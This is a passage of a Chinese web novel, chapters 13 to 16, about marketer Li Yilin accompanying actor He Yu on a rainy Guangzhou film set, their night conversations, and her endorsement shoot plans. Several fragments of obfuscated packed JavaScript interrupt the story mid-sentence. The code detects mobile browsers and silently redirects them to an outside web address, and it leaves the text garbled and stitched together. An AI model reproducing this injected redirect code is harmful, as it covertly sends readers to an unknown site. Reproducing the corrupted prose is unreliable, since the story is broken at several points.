d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459247|169676||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 李伊林发现权力场的变化。在开机之前，摄制组与场务组如同“苦力”，扛着沉重的机器和道具在阴雨里来回走动。在开机之后，导演、摄像、剧务组，都穿着厚厚的防水羽绒服，将衣衫单薄的演员们包围其中。他们根据导演调度，调整着演员的每一次站位，每一场状态。无论主角配角，均成为导演组、摄制组、场务组的“提线木偶”——他们需要一遍又一遍的重复着相同的场景，要保持相同的情绪，因为需要重复拍摄大景、前景、中景、特写……演员对剧务组来说，是“非人”般的存在——这一场戏，他们需要哭。下一场戏，他们需要笑。这些美丽的人需要在接近零度的冬天里淋雨，或者在超过40度的夏天里一遍又遍表演追车。而剧务组只对镜头负责，演员的身体状况、痛苦忍耐，不是他们的职责范围。 作为顶级艺人，在休息室里的何屿有自己的统筹与协调、服务团队，他已强过一般演员太多。配角是没有单独休息室的，分配给他们的只是一个公用空间，不仅是他们的休息室、等待间，还是他们的化妆间与临时餐厅。 在跟片时，伊林路过过这些房间，内里布置杂乱不堪，气味浑浊，不会配备空调与取暖设备，更不会有专门的日程协调。尚未出头的中小演员只能一日一日被牵制这里，陷入无尽漫长的等待。 在真正触摸到属于演员何屿的“现实”之后，伊林有一种感觉。所谓“特权阶级”、“世家子弟”、“权势演员”，在这些场景，全是笑话。 下午5点，阴雨天气让天色提前陷入昏暗，最后一个镜头开始抢时间。伊林看得出，何屿已经被冻得失去知觉，仅凭着最后的本能在工作。而这却恰恰是正确的林其卫——被合伙人背叛，被女友误解，失去了启动资金与扩展机会的孤注一掷者，在阴冷雨天中缓缓走上大桥。他在风雨中长时间凝视着珠江。漫长的安静过后，是失控般的哭吼。四周无人，倾听他的只有漫天大雨。 剧烈的情绪倾泻很快让他陷入疲累。他再度安静下来，原本挺拔的身体陷入瘫软。剧烈情感很快消散，留下的只有麻木。然后他迈出倾斜脚步，向前走出一步，再走出一步。他想走过大桥，走入这无边的大雨之中。或许这才是最好的结局，让纠缠不停的希望与绝望就此结束，再无苦痛，一了百了。他机械的向前走着，放任优美身形变得狼狈。前方雾漫江水，空无一物，却像是他最终的救赎。 忽然之间，一只不知从哪里来的白色海鸟飞向他，在何屿身边徘徊着鸣叫。这是脚本里并未描写的突发状况，却更像一个纯白色的奇迹——那个虚构的、真实的、正在受苦的、丧失知觉的林其卫看着这只美丽生物，伸出手去，任由它啄向他的掌心。 鸟喙尖利，刺破皮肤，猩红血液汩汩流出。他感受着手心的灼痛，任这痛楚蔓延开来，渗透入尚未被雨水浸湿的血管，激活着他的动脉与神经，流淌着、游走着，浸润他本应热烈跳动的心。 雨势小下去，雾气上升着，最高规格的镜头中，精准记录这场神迹般的意外。 片刻之后，白色鸟儿随风而行，渐渐飞离。林其卫保持着伸出双手的姿势，跪坐在宁静雨中。无法停止颤抖的演员何屿将头埋下去，像虔诚的祈祷者。 镜头慢慢拉远，直至林其卫的世界消失在雾气之中。 导演喊了CUT。 伊林回过神来，发觉自己不知从何时起，已是一脸黏湿泪水。 13. 第 13 章 13 五点半拍摄结束，方华为全剧组准备了热奶茶与桑拿券。何屿搭着生活助理小磊的肩膀回到休息室后，走入只属于他一人的白色里间。“他需要一些时间平复。”方华对伊林说。 张凯西完成今日纪要文档，继续整理明日镜头要点。大概半小时后，何屿从里间出来，他冲过了热水澡，整个人看起来好多了。 “走吧，回家。”他对伊林说。他的表情自然，是完成任务后的轻松愉悦。伊林没有说话，只是安静跟在他身后。作为专业演员，何屿出戏很快，伊林却不能做到。她对他有些敬畏。 回到庭院，阿姨已备好晚餐。一桌子人轻松愉快用完晚餐，陪阿姨收拾好餐厅，方华、凯西、两位生活助理都回了酒店。送走他们，何屿对伊林说，他去浴室泡个澡，她不用等他。 送走阿姨，伊林去次卧冲澡。虽然每个房间都配有电暖器，但伊林总觉得有何屿在的房间更温暖。她拿着电脑去主卧自己的床上盘腿坐下，打开文档，稍作构思，接着已有故事写下去。 何屿在浴缸里泡了很久，久到伊林担心他昏倒。听到浴室门被打开，漂亮男子走出来。看到他精神不错，伊林在内心松了口气。 何屿穿着属于他的浅灰色真丝睡衣，光脚趿着拖鞋走过来。稍稍曲卷的褐色头发被吹得半干，毛茸茸搭在额头上。他的面颊上有健康的粉色，表情却淡漠。伊林知道，没有表情，是一个演员最自在的放松时刻。 时钟指向十点一刻，何屿盘腿靠着床头坐下，拿起剧本放在手边。他看向伊林，开口问她。 “你在写什么？” “一个故事。” “……会很长吗？” “……大概吧。” 得知她再度开始写作，何屿稍稍微笑。然后他转过视线，安静去看剧本。伊林很想问他是否需要对戏，又是否需要她离开属于他的空间，但何屿的安静让她不忍打破。她将注意力返回电脑屏幕，继续写下去。 在看剧本的同时，何屿会配合凯西的表演反馈一起读，在之前已经设计好的表演里再做调整。他会把伊林当成用以放松的环境物，时不时看看正在工作的她。伊林也会在段落的间隙中思考用词，时不时放空去看正在研读剧本的何屿。 一小时后，伊林的手机稍稍震动，提醒她助眠时间已到。伊林将文档保存，合上电脑放置书桌。然后她走回床铺，去问何屿明日开拍时间。 “9点。不过我可以十点到场。”他依旧在剧本中标注着什么。 十点，意味着他要6点半起床。现在入睡，还能保障他7小时睡眠。 “……早些睡吧，今天你在雨里淋了一天，身体需要休息。”伊林对他说。 何屿抬头看看她，再去看时钟，已是十一点半。 “……好。”答应之后，他低头在剧本上写下最后一句话。伊林走至他床前等他写完，收走他手头剧本，连同凯西的笔记本扣合在一起，收入他的工作包，再去关上房间大灯。 伊林回到床上躺好后，关掉壁灯。她的睡意不是很浓，想要与何屿像往常一样在黑暗中对谈。但她忍住没有开启话题，她不想耽误何屿休息。 短暂的沉默之后，伊林听到何屿的声音。 “……听说有几个镜头，你不忍心看。” “……嗯。这么冷的天气，还要淋雨，刚看到的时候心里受不了。”伊林尽量说得平铺直叙，不带感情。 对面传来男子低沉的轻笑声。“你的职业也跟过不少片场，这就受不了？” 因为是你，我不想看你受苦。这是伊林无法说出口的内心想法。 “……你是怎么挺过来的？”伊林决定用问题转移话题。“快收工的最后一场戏，我觉得你已经到极限了。” “习惯了。现在比刚入行的时候好多了。” “……那时候也经常拍反季戏？” “倒也不是。刚入行的时候总不想听导演的，觉得自己的理解更对。心更累。” 伊林想起自己合作过的演员。在广告界，基本没有不听话的。优秀的演员会根据导演调度延伸出更丰富的情感，但绝不会偏离导演的整体设想。时长很短的广告片尚且如此，电视剧与电影更不能接受演员一意孤行。 “……有时候导演也会听演员意见。”隐藏内心真实想法，伊林决定顺着何屿说。在做记者时，这是她惯用的谈话方式。站在对方立场顺延谈话，引诱采访对象放下心防，以便挖出更多。 这句话让对方陷入沉默。 “……这不像你说的话。” 伊林有些心生惶恐。何屿或许看出她在做什么。 没有等待伊林回应，何屿继续说下去。 “与导演的摩擦让我在圈内名声不怎么好，每次片子拍完出来，观众对我的反响只能算一般。我知道，喜欢我的大多数都是看上这张脸。” 伊林静静听着，没有说话。她知道，这是何屿的倾诉时刻。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459248|169676||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“后来我遇到刘宇辰导演，他让我按照自己的想法演一条，再按照导演指导演一条。最终剪辑成片时他让我一起看效果。跟完整个剪辑工作我明白，虽然我看过全部剧本，但我揣摩的仅是我自己。我只是一名演员，首先要做好的是本职工作。故事不是围绕一个角色转的，会通盘考虑的人是导演——我的本职工作绝不是自我中心，与导演对立。” 刘宇辰是著名电视剧导演，让何屿大火的偶像剧就是出自他手。伊林开始明白，何屿为何能通过这部剧进入一线。 “在那之后，我学会了倾听和听话，学会理解导演，理解故事全貌。镜头开始，我会让自己的意识离开身体，去掉何屿这个名字，完完全全变成另外一个人。” 这种转变，或许听来简单。但对于何屿来说，彻底消除自我意识，绝非易事。 “我看过你的所有剧。我觉得，并不能这样说。你思考了角色，把你的理解注入表演中。可能这样说会不合你意，但我能从很多角色里看到一种宁静的对抗。它属于何屿这个名字。” 这是伊林的坦白局。何屿会知道李伊林是他的影迷，会知道这个躺在他身边的人或许对他有所幻想。但这些都不是李伊林需要承担的风险——需要她在身边才能睡着的人，是何屿。 “……是吗？也许你看到的特质也并不是属于我。观众从演员身上看到的总是他们自己。” “……也许吧。”伊林再次顺着他回应。“但观众并不需要淋在冰雨里。” “……那时候，我已经不是何屿，是林其卫。他的情绪恰好需要这样的外部折磨，能让他转移心里的痛苦。” “……你身体上受到的痛苦呢？” “习惯了。按照现在大众的说法，我们一天赚208万，有什么忍不了的。”男子的声音更接近自嘲。 伊林没有说话。对于何屿来说，钱并不重要。但这并不适用于所有人。他本不用遭受这些，但他选择承受。 “你有想过……不做演员吗？” “想过。所以我沉寂了五年。” “为什么又重新接演？” “……只是想接了。” 简短回复之后，对方再无声响。伊林明白，他不想再继续倾诉。到此为止，这是何屿切断谈话的信号。 “早些睡吧，晚安。”伊林对他说。 “晚安。”黑暗中传来男子翻身的声音。她能感觉到，他在尽量远离她。 一切归于静谧。 14. 第 14 章 14 周日早晨8点，伊林被表铃叫醒。她没有设6点半的表铃，昨天大概率是被何屿按掉了。洗漱好之后，发现阿姨正在楼下备早餐。与阿姨闲聊着吃完，伊林叫了电召出租车去片场。 到地方是上午十点半，何屿刚刚开拍。休息室里服装师与造型师正在盯着大监视器确认细节，方华坐在角落对着电脑工作，张凯西换了个小监盯着。 看到她来，大家都打了招呼。伊林一一回复之后在心中想，何屿的整个工作团队，是否都知道她是明星何屿的陪睡员？或许这对他们来说，没有什么大惊小怪。毕竟在这个圈子里，什么光怪陆离的事都会发生。 窗外的雨依然在继续。上午要拍摄林其卫尚未知晓真相，在雨中四处奔波、到处筹款的镜头。下午拍摄林其卫与刚确定关系的女友沈孟洛亲密戏，以及回忆中的雨中老友聚餐情节。这些情节均发生在昨日拍摄的镜头之前，意味着何屿要将情绪调整至完全不同的步调。 由于特写镜头不多，大部分是情景快切戏，何屿过镜头过得很快。12点一刻，上午戏份全部拍摄完毕。 午餐是一场剧本研读会，导演、何屿、以及扮演沈梦洛的女演员项英琦对着剧本做预演。不知为何，何屿叫上方华与张凯西的同时，带上伊林去往会议室。 进入房间后，漂亮的女演员抬头看她。这是李伊林第一次近距离看到项英琦，她穿着90年代流行的白色大领衬衫与紫色波点长裙，明丽妆容配有一头大波浪，是非常强悍的漂亮。 伊林不自觉对她微笑，项英琦亦回礼。“她是何屿的朋友，李伊林。”方华向导演和对手戏演员团队介绍，大家礼节性打了招呼，各自落座在午餐圆桌。 桌上是典型的广州菜系，上菜时有专门服务员做好分餐。伊林心中猜测，这一餐是何屿团队负责。 虽说是午餐会，用餐时却没有人说太多话，反而都吃得很快。上甜点后桌子被收拾得很干净，所有人才将剧本放上桌，开始讨论。 不同于伊林的认知，虽然是亲密戏的拍摄预演，演员之间却并没有身体接触。他们用语言彻底剖析和表达角色的心理想法与行动动机。 这是第一次，伊林听见何屿对所饰角色的深度剖析——他会写角色小传，在其中加入一些标志性的人物特征。在一个拥抱背后，是何其卫对亲密接触的畏惧与渴望，而当拥抱演进为亲吻，林其卫的内心抗拒更深，同时他又无法抗拒感官上的甜美。明知不该如此，但所有的压力在这个瞬间都不复存在。就像醉酒。他有着从孤独，到畏惧，到抗拒，再到沉溺的心理过程。而当这一切发生的时候，林其卫对女友的感情其实并不算十分深刻，何屿需要让观众感受到，他动作的急切与投入，并不来自很深刻的感情。他需要在一定程度上对女友展现抗拒心灵连接的粗暴。 项英琦所饰演的沈孟洛在这个阶段对林其卫感情亦不深刻，她更多想利用对方手中资源灌入自己的家电生意。林其卫性格狡猾，她不认为他是能长久托付的人。但是他的外貌太过出众，她无法拒绝。 这场亲密戏，□□情欲大于内心情感。导演会适时将话题引导至“这一刻对对方的看法”，这两个角色都是自恋且各怀目的的，这种自私自利既要让观众察觉，又要做到对彼此表演深情。这些需要更多镜头里的细微动作去体现。 导演定的开工铃声响起时，桌面上的讨论仍在进行。伊林原本认为，导演会推后一些拍摄时间，让讨论先进行完。但是并没有。这个剧组的规矩是开工准时，不熬大夜。铃声落下，所有演员起身去做补妆，导演回现场盯搭景。 四十分钟后，亲密戏拍摄开始。现场被清场，在监视器里，周围的工作人员大幅减少。何屿与项英琦被调整好状态，先做试戏。何屿的神情变得需索、精明，又有一种拙劣的表演感。伊林觉得有些过，这样会让近在咫尺的女友察觉不对。项英琦的表现同样有些过，把角色内心的算计表现在了情欲之上，让表演显得干瘪。 试戏完成之后，导演进入拍摄区，坐在床边，与二人讲了很久的戏。他亲身为两位演员分别做了表演示范，然后，本场第一条镜头开始录制。 进入正式表演，伊林再一次观察到何屿的眼神转变。面对女友沈梦洛时，他漂亮的棕色眼睛里满是爱意。而当他错开对方视线，落在对手演员衣服被剥除的赤裸肩膀时，那双眼睛里的感情消失在冰冷的欲望里。他的微表情配合着眼神的变化，伸手脱去对方内衣的动作变得有些暴力。而当他再次与沈梦洛眼神交汇，那种纯真的爱意又回来了。 这一次，伊林觉得他着实可怕。尽管她知道这只是表演功底，但她的确看到了，何屿是如何通过眼神的变化完成情感欺骗。这意味着如果他想，在现实里，他可以更轻松做到这一切。 如同何屿所说，一部剧是否真的优秀，并不仅仅是一位演员的表现。镜头之中的项英琦接住了何屿的每一场戏。伊林第一次发现她的表演其实非常贴切自然、富有层次。几场镜头里，她每一次都能调整出不太相同的细节差异，但在整体上都与何屿的表演形成互文。 伊林有些奇怪，在她之前的印象里，项英琦的演技并没有给她留下非常深刻的印象——亦或者，这位出色的女演员并没有得到太多的表现机会。 在这个圈里，有才有貌的人太多了。能最终走红的都是万里挑一。在观众缘这个象限里，女演员的漂亮只是入场券，合不合眼缘、人设是不是能贴上大众情绪、是否有连续的大爆剧提升国民度，才是一项又一项接连要闯的重要关卡。项英琦与何屿年纪相仿，容貌是带有攻击性的明媚漂亮，她并不属于能被普罗大众接受的美。 相比于已然沉寂五年的何屿，一直接戏的项英琦并没有跨入一线。伊林想起市场部曾经对代言女艺人的整体筛选中，调研公司对项英琦的反馈报告。她的优势在于外形辨识度高，表演实力过硬，劣势则在于没有主演扛剧经历，不做人设与绯闻炒作，背后没有过硬推手，虽然貌美却攻击性太强，会让一部分男性受众觉得太过强势。她并不是男女通吃的类型，利希斯品牌方不会选择她。 利希斯对她的态度，应该是大多数国民级别品牌所持有的共同态度。作为有事业心、专业技术同样过硬的女演员，项英琦比何屿更需要大爆机会。 一条镜头完成后，导演再去讲戏。化妆师完成补妆，服装师完成服装还原，第二条开拍。 画面里的何屿与项英琦非常般配。何屿偏向美丽的容貌，与项英琦更为英气的轮廓形成互补。 项英琦今年32岁，没有过任何异性恋爱绯闻，坊间传闻她更喜欢同性。何屿不是硬汉型演员，他身上没有传统定义下的男子气概。这两位演员都有雌雄莫辨的中性气质，组合在一起并非传统配对，出现不同化学反应的机会点更大。伊林有一种预感，播出之后，何屿与项英琦会成为热门CP。 整场亲密戏拍了6个小时，再花两小时拍摄多角度镜头。原本计划在下午完成拍摄的老友小聚镜头要顺延至明天。伊林打开天气预报去看，天气配合，明日依旧降雨。 下镜的何屿回到休息室，看见伊林还在，有些诧异。他看了看墙上的电子钟，晚上十点已过。 “……你不用赶回上海？” “申请了明天异地办公，赶下午的飞机回去。” 何屿下一句话未讲，就被来人打断。“去吃夜宵！我定了包间！”项英琦忽然探了个头进来，对一屋子的工作人员说。听到有东西吃，所有人都加快收工动作——从中午两点开始工作到现在，都饿了。 “走吧，去吃点东西。”何屿在戏服外套了件毛衣，再穿好羽绒服。“你坐我的车。”他对伊林说。 聚餐包厢定在片场附近一家沅江水庭院餐厅。说是夜宵，其实非常丰盛。项英琦非常会暖场，她能和每一个何屿工作室的员工起话题。但她不怎么与伊林讲话，大概率是不熟悉。 吃完夜宵，已是快到凌晨。伊林随何屿车回了庭院，各自冲好了澡，躺进床铺里。 “明天几点开拍？”这句问题，已经成了伊林的惯性。 “跟今天一样。”何屿顿了顿，问向伊林，“你明天几点的飞机？” “下午五点。” “……明天你可以不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459249|169676||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用来片场，来回奔波太辛苦。” 听到这句话的瞬间，伊林有一种感觉：跟去片场是她的主动选择，从未问过何屿意见。她同时想起，在上海家中，何屿从不在伊林在时做预演。或许他并不喜欢一个“陌生人”成为自己工作场合的围观者。 “……你不想让我在片场？”伊林选择直接问他。 “不是。”何屿否认得很快。“因为牺牲了你太多休息时间，不想让你太辛苦。” “如果没有打扰到你，我还是想尽可能多的去跟片。” “……为什么？” “我没有跟过电影和电视剧的制作过程，这对我来说很新奇，也很难得。”伊林认为，这部剧爆的几率很大。前期她跟片越多，后期能在利希斯与何屿的品牌活动里能关联的要点就越丰富。 “……你不会觉得……幻灭？” 这是伊林没有想到的。“为什么这么说？我觉得你演的很好。” “拍摄时，演员有很多不在状态的时候，表演完全不贴合人物，甚至与应该表现出的情绪完全相反。……在镜头等待的间隙，演员情绪也不会很好，很多情况下，我们也会对工作感到厌烦。这些东西……在制作完成的成片里，是不可能存在的。” 在这之后，何屿想了想，补上一句形容：“观众来片场跟片，就像去迪士尼乐园发现玲娜贝儿摘下头套。所有幻想，都被现实摘下来了。” 伊林侧躺着，看向男子的方向思考着。是的，她如同何屿所说，看到了所有演员的真实状态。但这让她感到幻灭吗？ “我不知道别人会有什么感受，至少我没有觉得幻灭。我看到你们的努力，一次又一次调整状态的尝试，在冷雨中一条一条的坚持，反而会更珍惜它最终出来的样子。” 她想了想，向何屿的方向靠近了些，继续说：“就像我知道你们是怎么成为另一个人的，这过程本身就是动人的故事。” 对面很久没有回应。伊林以为他睡了。她平躺回自己的枕头，闭上双眼。 “……你很适合来剧组工作。” 伊林听着，睁开眼睛轻笑出声。 “我去片场当专业观众吗？” 这句话也逗笑了何屿。然后他继续对她说。 “你有很厉害的观察力，和对人的共情、理解。你很适合做制作相关的工作。” 伊林再度侧过身来，她面对着何屿，温暖的蜷缩起来。 “……我上高中的时候开始自己写故事。那时候的我会幻想，有朝一日，我的故事会变成现实，出现在千万人的屏幕上。” “那时候我还给自己起了个很中二的笔名去投稿，当然没成功。但是编辑部写了感谢我投稿，鼓励我继续写下去的回信，被我妈妈收到了……” 回忆往昔，伊林不自觉的微笑起来。 “她一边嘲笑我的笔名幼稚，一边支持我继续写点儿什么。” “……你有一个好妈妈。”俱寂的黑暗中，何屿的声音变得很轻。 “算是吧。其实她觉得我很没有毅力。被退稿一次后，我就不写了。” 讲到这里，伊林忽然想起了何屿父母。她看到一些关于何林涛的报道，这位十几年如一日勤勉自律的专家型企业家在采访中说，他相信人类最大的美德是坚韧。 “……更相信毅力，也是你父母的价值观吧？演员所需要的职业素养，与他们心里的相信其实并不相悖。”伊林想用这样的方式，拉近何屿与原生家庭的距离。 “……是吗？”她并没有想到，这个话题会让何屿的声音立刻变冷。“‘……演员没有改变世界的能力，演员用尽毅力和心力所做的事情，也只是复刻。’这是我父亲的原话。” 一时之间，伊林不知道该如何回答。而这种沉默，将对面男子进一步推远。 “睡吧。”他说。“我明天要早起。” “……晚安。”伊林感到内心沮丧。但她不知该如何补救。 空气凝固成尴尬的形状。她在黑暗中看向何屿的方向，知道他不会再卷着被子靠近她了。 伊林强迫自己进入睡梦中。 15. 第 15 章 15 周一晚上，伊林回到上海。在片场度过的最后一天，何屿团队依旧照顾到了她的方方面面，但她与何屿本人没说上几句话。 这也不奇怪，毕竟前一个晚上两人的对话结束得非常不愉快。伊林知道了父亲是何屿逆鳞，不能随意提及。冰冻三尺非一日之寒，伊林很想知道这其中究竟发生了什么。但她知道，她不应探究。这不关她的事。 周二过了两版何屿官宣视频拍摄方案，李伊林都不是很满意。拍摄日与方华协调在下周二，两次PPM分别定在周六与周日，已经没有更多时间等agency和团队改方案，伊林决定自己上手。她根据这些天对何屿的表演印象，用周三一天调整好拍摄脚本。 她推翻了广告公司原有构想，将何屿设定为生活在森林中的精灵，在林中收集一个又一个果实般的珍宝，再联合族内工匠使用魔法与手工工艺，将它们亲手制成不朽珠宝流传人间。她为何屿设定的角色要素是避世，美丽，纯粹，追求极致，喜欢创造。妆发设定是飘逸，空灵，带有精灵一族的端正优雅。整体tone调为洁净、灵动、奇幻、自然。 脚本调整完毕，Agency根据此内容延展整个官宣方案，包括新媒体铺设，朋友圈广告投流，媒介投放，线下事件策划。新品发布会策划案品牌团队尚未交付，邮件回复为下周给出汇报版。发布会时间即是何屿全球代言人官宣日。 周四是圣诞前夜。上午与CMO汇报拍摄方案，很难得，一次过。下午一点，伊林团队开始与agency共同筛选制作公司。三点，公司全员圣诞茶会开始，伊林全程都在看制作公司材料PDF，在下班前定了非常满意的具体制作方。这算得上是伊林从业以来最顺利的一次项目筹备，她在内心觉得，这是因为何屿给了她很多机会进入内心，得以让她快速挖掘到代言人气质与品牌的高契合点。一旦方向抓对，则会水到渠成。 晚上下班，伊林和朋友约了去吃圣诞大餐，沿街亮起各式各样的节日彩灯。在餐厅内，有一只非常漂亮的蓝色驯鹿彩灯，被置于云层装置之中，像梦中仙境。不知为何，它让她想起何屿。伊林拍下了它，发给何屿，附一句圣诞快乐。 伊林没有想到，何屿回得很快。「圣诞快乐。」一条简单的文字信息。附一张图片，是一堆包好的礼物盒。 「大家给你备了礼物。」他在对话框中说。 伊林站在原地，心中一股暖流。她没有给何屿团队准备礼物，因为彼此都算不上熟悉。尽管这很有可能只是工作室的节日习惯，但在看到礼物的一刹那，伊林不可避免被感动。 「谢谢。」她没有回复太多。「明天晚上见。」 「好。」何屿再次秒回。简短的对话结束了。 吃完圣诞晚餐回到家中，伊林卸下一日喧嚣，快速完成洗漱后躺在床上。她在思考，给何屿工作室准备什么礼物。何屿喜欢香氛，送他乌木沉香即可。方华整天挂在电话电脑上，送她手机壳、防蓝光眼镜。送给张凯西一支笔。送给两位助理两条围巾。这些礼物在利希斯附近商圈都有店铺可以买到，明天午餐时间去采购。 做好决定后，伊林很快入睡。她没有考虑到礼物的浪漫性质，只按照实用规则挑选。 从周一离开何屿，到周四过完圣诞，已经过了三个晚上。伊林每日都查看广州天气预报，昨天雨刚刚停下，今天温度并无回升。 何屿在失眠的情况下已在低温环境中拍摄三个工作日。伊林每天尽力把自己沉浸在工作里，阻止她忍不住给何屿发微信，关心他的睡眠情况、工作状态——他们不是那么熟的关系，但伊林总是在牵挂他。 睡到半夜，伊林在噩梦中惊醒。她梦见自己跟在何屿之后攀爬楼梯，圆形楼梯悬空而上，直通云霄。在攀爬过程中，不断有各种人的阻挠，何屿一直牵紧伊林的手。 至云端一扇华丽大门，何屿带着伊林并排立于门前。“里面是见梦宫，进去之后，你的梦想就会成真。”何屿将她推至门前，“去实现你长久想要的一切。”大门打开的一瞬间，何屿将她推至门内。 门里的世界是一栋高耸入云的摩天大楼，上面挂着《明周刊》的杂志名——那本已经消逝在时间中的先锋媒体，在伊林的梦中，发展成了令人骄傲的超级公司。 伊林向前踏出一步，她发现自己正在腾空飞起。她在空中不停向上，在第117层找到自己的位置。她是明周刊的副总编辑。 伊林内心欢喜。她回过头去找何屿，却发现身后空无一人。 她忽略正在对她敞开的高层阳台大门，视线向下，看向见梦宫大门。那扇金色大门正在缓缓关上。何屿站在光芒的正中央。他头上缓缓长出金色鹿角，耳尖亦变为精灵一族的尖利优美。 “你已到家。我们就此再见了，伊林。”幻化为精灵形态的何屿对她说。 “为什么？不，请让我跟你走！”伊林着急向他呼喊，迈出脚步想要冲进正在关闭的金色大门。但她发现，她全身动弹不得。 “不要抗拒你的命运。”何屿的一双眼睛变为金色，在渐渐闭合的门中对她说着。“我们不是同一世界的人。”他美丽的双眼纯粹冷漠，如同神明。“共同的路已经走完。你的梦想正在实现。……李伊林，我们就此别过。” 话音落下，金色大门完全关闭，消失于半空之中，仿佛它从未存在。 伊林心跳剧烈，双眼发烫，从梦中惊醒。 睁开眼睛的一刹那，两行泪水从眼角滑落。伊林从床上坐起，确认那只是她不想发生的噩梦一场。 在世界如静止的夜半时刻，伊林确认了一件事。 她无法忍受失去他。不管身处什么世界，她都不想何屿离开。 忙完一天的工作，周五晚上6点，伊林赶往机场。夜间天气晴朗，飞机准点起飞，晚上十一点降落。接机司机将她送回庭院，已至凌晨。在噩梦中离她而去的男子一如既往，干净整洁。 他在餐厅等她，桌上为她备好夜宵。出乎伊林意料，何屿身上并没有长时间分别后，被失眠折磨至失控的憔悴。 “伊林。”他面露微笑，念着她的名字，朝她打招呼。 “来了。”伊林回他一个笑容，跟着司机将背包放至客厅角落，再脱下外套挂好。 司机向何屿点点头，离开主宅。李伊林走去他对面坐下，也不客气，拿起汤匙喝下一碗热汤。是熟悉的味道，像回了家。 “我看你精神很好。这几天……有稍稍睡一下？”热汤让伊林从疲惫中缓解出来。她随意问向何屿。 “嗯，周二、周三都有睡着。”何屿托腮看着她吃东西。“我发现，与你接触的时间越长，我能睡着的时间就越长。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459250|169676||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伊林停下汤匙想了想。何屿上上个周三去找她，此后的五个晚上他们都睡在一起。按照何屿的说法，五天的近距离接触，能带给何屿两晚的惯性睡眠。 “嗯……像睡眠利息。”伊林咬着勺子自言自语。 何屿笑了。“这个形容很有趣。” 伊林看向那张因放松笑容更显明丽的脸——她再一次欣赏着何屿无可复制的美。然后她控制自己移开视线，继续吃夜宵。 “……怎么了？”何屿不知为何伊林要躲开视线，他下意识问出声。 “……我在想，如果相处时间长就能有睡眠利息，说不定还有其他办法能提高你的睡眠利率。”伊林用一些歪理邪说岔开话题。 “……其实，是有这样的情况。”这次换成何屿移开视线。 “什么情况？”伊林感到好奇，追问他。 “我们睡在同一床被子里，也能让我在你离开后保障一些余长睡眠。”何屿边吃红豆沙，边对她说。 “……也就是说，接触的时间变长，或者接触的距离变近，都能提高你的睡眠利率。”伊林总结。 “是的吧。”何屿放下小勺子，继续托腮看她。 “嗯，我知道了。”说完之后，伊林也不再看向何屿。她快速吃完小杯子里的甜点，对何屿宣布吃饱了，想起身收拾餐具。 何屿一如既往拦下了她，告知她明早会有家政来收。“让你频繁两地跑已经很麻烦了。”他说。而后何屿径直走向角落，提起她的箱子与包走上二楼。“你去冲澡吧，我在卧室等你。”他在走上楼梯时对她说。 “好。”伊林再一次跟在他身后。她喜欢从这个角度看他。颀长，优雅，像一只鹿。 冲好澡后进入卧室，伊林看到的依然是两张床。何屿坐在靠窗一张床上看脚本，伊林认出来，封皮上印有利希斯品牌标识——他是在看她亲自修改的官宣TVC脚本。 伊林有些害羞。她让自己不要表现出来。 “明后两天拍摄与妆发方案就能定下，制作公司大概会在周日跟你联系试妆，……你对脚本还有什么问题吗？”伊林在床边坐下问他。 “没什么问题。服装的话，我想让工作室造型师来准备。”何屿依旧盘腿坐着，他柔和看向伊林，修长手指婆娑着雪白纸页。 “……这样太麻烦你……” 伊林还没说完，就被何屿打断。 “我没有接演过仙侠奇幻类型剧，这种妆造是第一次尝试。”演员的表情很生动，有一种灵动的期待。 确实。伊林回想起来，何屿从业至今，没有过类似造型。 “……你想尝试银色发系么？”伊林仔细观察着他的美丽五官，开口问他。 “可以让妆发师准备一次性上色剂和一些银色接发条。”他一边用修长手指挑起刘海，一边说。 “……看起来你好像很兴奋。”伊林看着他，觉得他像个要去参加万圣节的小孩子。 “……有吗？不觉得。”何屿放下手，敛回表情，合上脚本放在床头柜，不再看李伊林。他背对着她卷进被子里。“睡了。记得关灯。” “……好。”伊林看着他的一系列回避动作，不自觉抿嘴笑。她下床去关了大灯，再回来躺进被子里。闭上眼睛后，伊林满脑子都是颀长漂亮的银发精灵。 她很快进入梦乡。 16. 第 16 章 16 周日天空放晴，印象里的阴雨连绵已然过去，何屿早就去了片场。伊林拿出工作电脑，在庭院洒满阳光的户外椅上工作。 